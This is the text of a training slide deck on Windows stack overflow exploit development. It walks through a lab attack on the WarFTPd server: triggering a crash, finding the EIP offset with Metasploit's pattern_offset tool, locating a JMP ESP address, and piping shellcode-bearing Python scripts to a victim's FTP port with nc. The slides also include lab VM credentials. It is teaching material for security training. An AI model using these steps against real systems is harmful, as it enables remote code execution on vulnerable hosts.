1. Strategic Security, Inc. © http://www.strategicsec.com/ Exploit Development For Mere Mortals Part 4: Windows Stack Overflows Presented By: Joe McCray joe@strategicsec.com http://www.linkedin.com/in/joemccray http://twitter.com/j0emccray

2. Strategic Security, Inc. © http://www.strategicsec.com/ Windows Stack Overflow Walk-Through

3. Strategic Security, Inc. © http://www.strategicsec.com/ Let's Attack Windows 1.Power off the asterisk VM. 2.Extract and boot the XPIE8 VM. (Boot First option) (Administrator:strategicsec) 3. Start WarFTPd 4. Start WinDBG 5. Press F6 6. attach to war-ftpd.exe Open warftpd1.py in Notepad++. From the XP Host command print we will trigger a crash: > python warftpd1.py | nc victim_ip 21

4. Strategic Security, Inc. © http://www.strategicsec.com/ Let's Attack Windows At WINDBG prompt “r” to show registers or “alt+4” EIP should be 41414141 ESP should be full of 41s In WinDBG command prompt type: dd eip dd esp

5. Strategic Security, Inc. © http://www.strategicsec.com/ Let's Attack Windows Start WarFTPd Start WinDBG Press F6 attach to war-ftpd.exe at the WINDBG prompt "F5" to start the debugger Debugger is running Open warftpd2.py in Notepad++ From your XP HOST command prompt - trigger the crash: python warftpd2.py | nc victim_ip_addr 21

6. Strategic Security, Inc. © http://www.strategicsec.com/ Let's Attack Windows Eip: 32714131 esp: affd58 Now we need SSH into the StrategicSec-Ubuntu host (strategicsec:strategicsec) $ cd /home/strategicsec/toolz/metasploit/tools $ ruby pattern_offset.rb 32714131 485 $ ruby pattern_offset.rb 71413471 493 $ cd /home/strategicsec/toolz/metasploit $./msfpescan –j ESP DLLs/xpsp3/shell32.dll

7. Strategic Security, Inc. © http://www.strategicsec.com/ Let's Attack Windows Open warftpd3.py with Notepad++ Fill in the appropriate values Distance to EIP Address of JMP ESP Open a command prompt on our host Python warftpd3.py | nc victim_ip 21 dd eip & dd esp

8. Strategic Security, Inc. © http://www.strategicsec.com/ Let's Attack Windows Open warftpd4.py in Notepad++. Copy the shell code into warftpd4.py ‘shellcode’ variable. Run warftpd4.py > python warftpd4.py | nc victim_IP 21

9. Strategic Security, Inc. © http://www.strategicsec.com/ Contact Me.... Toll Free:1-866-892-2132 Email:joe@strategicsec.com Twitter:http://twitter.com/j0emccray LinkedIn: http://www.linkedin.com/in/joemccray